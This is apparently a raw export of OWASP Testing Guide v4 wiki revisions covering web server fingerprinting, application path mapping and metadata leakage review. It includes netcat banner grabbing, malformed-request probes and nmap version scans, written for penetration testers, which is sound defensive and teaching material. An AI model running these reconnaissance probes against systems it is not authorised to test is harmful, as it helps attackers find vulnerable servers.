Expires: Yours, 17 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Date: Mon, 16 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT &lt;br /&gt;
ETag: b0aac0542e25c31: 89d &lt;br /&gt;
Content-Length: 7369 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''Netscape Enterprise 4.1''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:19: 04 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''SunONE 6.1''' server:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Sun-ONE-Web-Server/6.1&lt;br /&gt;
Date: Tue, 16 Jan 2007 14:53:45 GMT&lt;br /&gt;
Content-length: 1186&lt;br /&gt;
Content-type: text/html&lt;br /&gt;
Date: Tue, 16 Jan 2007 14:50:31 GMT&lt;br /&gt;
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
However, this testing methodology is not so good. There are several techniques that allow a web site to obfuscate or to modify the server banner string.&lt;br /&gt;
For example we could obtain the following answer:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
403 HTTP/1.1 Forbidden &lt;br /&gt;
Date: Mon, 16 Jun 2003 02:41: 27 GMT &lt;br /&gt;
Server: Unknown-Webserver/1.0 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML; charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the server field of that response is obfuscated: we cannot know what type of web server is running.&lt;br /&gt;
&lt;br /&gt;
==== Protocol behaviour ====&lt;br /&gt;
More refined techniques take in consideration various characteristics of the several web servers available on the market. We will list some methodologies that allow us to deduce the type of web server in use.&lt;br /&gt;
&lt;br /&gt;
'''HTTP header field ordering'''&lt;br /&gt;
&lt;br /&gt;
The first method consists of observing the ordering of the several headers in the response. Every web server has an inner ordering of the header. We consider the following answers as an example:&lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:01: 40 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from a '''SunONE 6.1'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc sunone.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Sun-ONE-Web-Server/6.1&lt;br /&gt;
Date: Tue, 16 Jan 2007 15:23:37 GMT&lt;br /&gt;
Content-length: 0&lt;br /&gt;
Content-type: text/html&lt;br /&gt;
Date: Tue, 16 Jan 2007 15:20:26 GMT&lt;br /&gt;
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can notice that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise, and IIS.&lt;br /&gt;
&lt;br /&gt;
'''Malformed requests test''' &lt;br /&gt;
&lt;br /&gt;
Another useful test to execute involves sending malformed requests or requests of nonexistent pages to the server.&lt;br /&gt;
Consider the following HTTP responses. &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:12: 37 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Connection: close &lt;br /&gt;
Transfer: chunked &lt;br /&gt;
Content-Type: text/HTML; charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 505 HTTP Version Not Supported &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:04: 04 GMT &lt;br /&gt;
Content-length: 140 &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from a '''SunONE 6.1'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc sunone.example.com 80 &lt;br /&gt;
GET / HTTP/3.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad request&lt;br /&gt;
Server: Sun-ONE-Web-Server/6.1&lt;br /&gt;
Date: Tue, 16 Jan 2007 15:25:00 GMT&lt;br /&gt;
Content-length: 0&lt;br /&gt;
Content-type: text/html&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We notice that every server answers in a different way. The answer also differs in the version of the server. Similar observations can be done we create requests with a non-existent protocol. Consider the following responses: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:17: 47 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 34 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Content-Length: 87 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad request&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt; &lt;br /&gt;
&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Bad request&amp;lt;/H1&amp;gt; &lt;br /&gt;
Your browser sent to query this server could not understand. &lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from a '''SunONE 6.1'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc sunone.example.com 80 &lt;br /&gt;
GET / JUNK/1.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad request&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt;&lt;br /&gt;
&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Bad request&amp;lt;/H1&amp;gt;&lt;br /&gt;
Your browser sent a query this server could not understand.&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
* httprint - http://net-square.com/httprint.html&lt;br /&gt;
* httprecon - http://www.computec.ch/projekte/httprecon/&lt;br /&gt;
* Netcraft - http://www.netcraft.com&lt;br /&gt;
* Desenmascarame - http://desenmascara.me&lt;br /&gt;
* Shodan - http://www.shodanhq.com&lt;br /&gt;
* Nmap - http://nmap.org&lt;br /&gt;
&lt;br /&gt;
=== Automated Testing ===&lt;br /&gt;
Rather than rely on manual bannering and analysis of the web server headers, a tester can use automated tools to achieve the same purpose. The tests to carry out in order to accurately fingerprint a web server can be many. Luckily, there are tools that automate these tests. &amp;quot;''httprint''&amp;quot; is one of such tools. httprint has a signature dictionary that allows one to recognize the type and the version of the web server in use.&amp;lt;br&amp;gt;&lt;br /&gt;
An example of running httprint is shown below:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:httprint.jpg |800px|]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://www.nmap.org Nmap] version detection offers a lot of advanced features that can help in determining services that are running on a given host, it obtains all data by connecting to open ports and interrogating them by using probes that the specific services understand, the following example shows how Nmap connected to port 80 in order to fingerprint the service and its current version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
localhost$ nmap -sV example.com&lt;br /&gt;
Starting Nmap 6.40 ( http://nmap.org ) at 2013-09-21 13:20 GST&lt;br /&gt;
Nmap scan report for example.com (127.0.0.1)&lt;br /&gt;
Host is up (0.028s latency).&lt;br /&gt;
Not shown: 997 filtered ports&lt;br /&gt;
PORT     STATE  SERVICE    VERSION&lt;br /&gt;
80/tcp   open   http       Microsoft IIS httpd 6.0&lt;br /&gt;
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Online Testing === &lt;br /&gt;
Online tools can be used if the tester wishes to test more stealthily and doesn't wish to directly connect to the target website. An example of online tool that often delivers a lot of information on target Web Server, are [http://www.netcraft.com Netcraft] and [http://www.shodanhq.com SHODAN]&lt;br /&gt;
&lt;br /&gt;
With [http://www.netcraft.com Netcraft] we can retrieve information about operating system, web server used, Server Uptime, Netblock Owner, history of change related to Web server and O.S.&amp;lt;br&amp;gt; An example is shown below:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:netcraft2.png |800px|]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://www.shodanhp.com SHODAN] combines an HTTP port scanner with a search engine index of the HTTP responses, making it trivial to find specific web servers. Shodan collects data mostly on web servers at the moment (HTTP port 80), but there is also some data from FTP (21), SSH (22) Telnet (23), SNMP (161) and SIP (5060) services. &amp;lt;br&amp;gt; An example is shown below:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Shodan.png |800px|]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[OWASP Unmaskme Project]] expect becomes another online tool to do fingerprinting in any website with an overall interpretation of all the [[Web-metadata]] extracted. The idea behind this project is that anyone in charge of a website could test the metadata their site is showing to the world and assess it from a security point of view.&lt;br /&gt;
While this project is being developed, you can test a [http://desenmascara.me/ Spanish Proof of Concept of this idea].&lt;br /&gt;
&lt;br /&gt;
== Vulnerability References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Saumil Shah: &amp;quot;An Introduction to HTTP fingerprinting&amp;quot; - http://www.net-square.com/httprint_paper.html&lt;br /&gt;
* Anant Shrivastava : &amp;quot;Web Application Finger Printing&amp;quot; - http://anantshri.info/articles/web_app_finger_printing.html&lt;br /&gt;
* Nmap &amp;quot;Service and Application Version Detection&amp;quot; - http://nmap.org/book/vscan.html&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
Protect the presentation layer web server behind a hardened reverse proxy.&lt;br /&gt;
&lt;br /&gt;
Obfuscate the presentation layer web server headers.&lt;br /&gt;
* Apache&lt;br /&gt;
* IIS&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Map_execution_paths_through_application_(OTG-INFO-007)&amp;diff=169581</id>
		<title>Map execution paths through application (OTG-INFO-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Map_execution_paths_through_application_(OTG-INFO-007)&amp;diff=169581"/>
				<updated>2014-03-06T16:29:48Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Before commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlkely that it will be tested thoroughly.  &lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
&lt;br /&gt;
Map the target application and understand the principal workflows.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
In black box testing it is extremely difficult to test the entire code base. Not just because the tester has no view of the code paths through the application, but even if they did, to test all code paths would be very time consuming. One way to reconcile this is to document what code paths were discovered and tested. &lt;br /&gt;
&lt;br /&gt;
There are several ways to approach the testing and measurement of code coverage:&lt;br /&gt;
&lt;br /&gt;
* '''Path''' - test each of the paths through an application which includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch.&lt;br /&gt;
* '''Data flow (or taint analysis)''' - tests the assignment of variables via external interaction (normally users). Focuses on mapping the flow, transformation and use of data throughout an application.&lt;br /&gt;
* '''Race''' - tests multiple concurrent instances of the application manipulating the same data.&lt;br /&gt;
&lt;br /&gt;
The trade off as to what method is used and to what degree each method is used should be negotiated with the application owner. Simpler approaches could also be adopted, including asking the application owner what functions or code sections they are particularly concerned about and how those code segments can be reached.&lt;br /&gt;
&lt;br /&gt;
''' Black Box testing '''&lt;br /&gt;
&lt;br /&gt;
The demonstrate code coverage to the application owner the tester can start with a spreadsheet and documenting the links discovered by spidering the application (either manually or automatically). Then the tester can being looking more closely at decision points in the application and investigating how many significant code paths are discovered, documenting them in the spreadsheet with URLs, prose and screenshot descriptions of the paths discovered.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''' Gray/White Box testing ''' &lt;br /&gt;
&lt;br /&gt;
Ensuring sufficient code coverage for the application owner is far easier with the gray and white box approach to testing. Information solicited by and provided to the tester will ensure the minimum requirements for code coverage are met. &lt;br /&gt;
&lt;br /&gt;
=== Example ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''' Automatic Spidering '''&lt;br /&gt;
&lt;br /&gt;
The automatic spider is a tool than is used to automatically discover new resources (URLs) on a particular Site. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. While there are a lot of Spidering tools, we will use the [https://code.google.com/p/zaproxy/ Zed Attack Proxy (ZAP)] in the following example &lt;br /&gt;
&lt;br /&gt;
 [[File:OWASPZAPSP.png |1050px|]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://code.google.com/p/zaproxy/ ZAP] offers the following automatic spidering features, which can be selected based on the tester needs&lt;br /&gt;
&lt;br /&gt;
*Spider Site - The seed list contains all the existing URIs already found for the selected site.&lt;br /&gt;
*Spider Subtree - The seed list contains all the existing URIs already found and present in the subtree of the selected node.&lt;br /&gt;
*Spider URL - The seed list contains only the URI corresponding to the selected node (in the Site Tree).&lt;br /&gt;
*Spider all in Scope - The seed list contains all the URIs the user has selected as being 'In Scope'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
* [https://code.google.com/p/zaproxy/ Zed Attack Proxy (ZAP)]&lt;br /&gt;
&lt;br /&gt;
* [http://en.wikipedia.org/wiki/List_of_spreadsheet_software List of spreadsheet software]&lt;br /&gt;
&lt;br /&gt;
* [http://en.wikipedia.org/wiki/Diagramming_software Diagramming software]&lt;br /&gt;
&lt;br /&gt;
== Vulnerability References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
&lt;br /&gt;
[1] http://en.wikipedia.org/wiki/Code_coverage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Review_webpage_comments_and_metadata_for_information_leakage_(OTG-INFO-005)&amp;diff=169580</id>
		<title>Review webpage comments and metadata for information leakage (OTG-INFO-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Review_webpage_comments_and_metadata_for_information_leakage_(OTG-INFO-005)&amp;diff=169580"/>
				<updated>2014-03-06T16:24:54Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
It is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code might reveal, to a potential attacker, internal information that should not be available to them. Comments and metadata review should be done in order to determine if any information is being leaked.&lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
&lt;br /&gt;
Review webpage comments and metadata to better understand the application and to find any information leakage.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing and example ===&lt;br /&gt;
&lt;br /&gt;
Check HTML version information for valid version numbers and Data Type Definition (DTD) URLs&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01//EN&amp;quot; &amp;quot;http://www.w3.org/TR/html4/strict.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;quot;strict.dtd&amp;quot; -- default strict DTD &lt;br /&gt;
* &amp;quot;loose.dtd&amp;quot; -- loose DTD &lt;br /&gt;
* &amp;quot;frameset.dtd&amp;quot; -- DTD for frameset documents &lt;br /&gt;
&lt;br /&gt;
Some Meta tags do not provide active attack vectors but instead allow an attacker to profile an application to &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;META name=&amp;quot;Author&amp;quot; content=&amp;quot;Andrew Muller&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some Meta tags alter HTTP response headers, such as http-equiv which sets an HTTP response header based on the the content attribute of a meta element, such as:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;META http-equiv=&amp;quot;Expires&amp;quot; content=&amp;quot;Fri, 21 Dec 2012 12:34:56 GMT&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
which will result in the HTTP header:&lt;br /&gt;
&lt;br /&gt;
 Expires: Fri, 21 Dec 2012 12:34:56 GMT&lt;br /&gt;
&lt;br /&gt;
and&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;META http-equiv=&amp;quot;Cache-Control&amp;quot; content=&amp;quot;no-cache&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
will result in &lt;br /&gt;
&lt;br /&gt;
 Cache-Control: no-cache&lt;br /&gt;
&lt;br /&gt;
Test to see if this can be used to conduct injection attacks (e.g. CRLF attack). It can also help determine the level of data leakage via the browser cache.&lt;br /&gt;
&lt;br /&gt;
A common (but not WCAG compliant) Meta tag is the refresh.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;META http-equiv=&amp;quot;Refresh&amp;quot; content=&amp;quot;15;URL=https://www.owasp.org/index.html&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A common use for Meta tag is to specify keywords that a search engine may use to improve the quality of search results. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;META name=&amp;quot;keywords&amp;quot; lang=&amp;quot;en-us&amp;quot; content=&amp;quot;OWASP, security, sunshine, lollipops&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Although most webservers manage search engine indexing via the robots.txt file, it can also be managed by Meta tags. The tag below will advise robots to not index and not follow links on the HTML page containing the tag. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;META name=&amp;quot;robots&amp;quot; content=&amp;quot;none&amp;quot;&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The Platform for Internet Content Selection (PICS) and Protocol for Web Description Resources (POWDER) provide infrastructure for associating meta data with Internet content.&lt;br /&gt;
&lt;br /&gt;
 examples&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing and example === &lt;br /&gt;
Not applicable. &lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
&lt;br /&gt;
* Wget&lt;br /&gt;
* Browser &amp;quot;view source&amp;quot; function&lt;br /&gt;
* Eyeballs&lt;br /&gt;
* Curl&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
&lt;br /&gt;
[1] http://www.w3.org/TR/1999/REC-html401-19991224 HTML version 4.01&lt;br /&gt;
&lt;br /&gt;
[2] http://www.w3.org/TR/2010/REC-xhtml-basic-20101123/ XHTML (for small devices)&lt;br /&gt;
&lt;br /&gt;
[3] http://www.w3.org/TR/html5/ HTML version 5&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Fingerprint_Web_Server_(OTG-INFO-002)&amp;diff=169394</id>
		<title>Fingerprint Web Server (OTG-INFO-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Fingerprint_Web_Server_(OTG-INFO-002)&amp;diff=169394"/>
				<updated>2014-03-04T17:46:10Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
Web server fingerprinting is a critical task for the Penetration tester. Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use during testing.&lt;br /&gt;
&lt;br /&gt;
There are several different vendors and versions of web servers on the market today. Knowing the type of web server that you are testing significantly helps in the testing process, and will also change the course of the test. This information can be derived by sending the web server specific commands and analyzing the output, as each version of web server software may respond differently to these commands. By knowing how each type of web server responds to specific commands and keeping this information in a web server fingerprint database, a penetration tester can send these commands to the web server, analyze the response, and compare it to the database of known signatures. Please note that it usually takes several different commands to accurately identify the web server, as different versions may react similarly to the same command. Rarely, however, different versions react the same to all HTTP commands. So, by sending several different commands, you increase the accuracy of your guess.&lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
Find the version and type of a running web server to determine known vulnerabilities and the appropriate exploits to use during testing.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing and example ===&lt;br /&gt;
The simplest and most basic form of identifying a Web server is to look at the Server field in the HTTP response header. For our experiments we use netcat. &lt;br /&gt;
Consider the following HTTP Request-Response: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc 202.41.76.251 80&lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 16 Jun 2003 02:53:29 GMT&lt;br /&gt;
Server: Apache/1.3.3 (Unix)  (Red Hat/Linux)&lt;br /&gt;
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT&lt;br /&gt;
ETag: &amp;quot;1813-49b-361b4df6&amp;quot;&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Content-Length: 1179&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From the ''Server'' field, we understand that the server is likely Apache, version 1.3.3, running on Linux operating system.&lt;br /&gt;
&lt;br /&gt;
Four examples of the HTTP response headers are shown below.&lt;br /&gt;
&lt;br /&gt;
From an '''Apache 1.3.23''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''Microsoft IIS 5.0''' server:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Expires: Yours, 17 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Date: Mon, 16 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT &lt;br /&gt;
ETag: b0aac0542e25c31: 89d &lt;br /&gt;
Content-Length: 7369 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''Netscape Enterprise 4.1''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
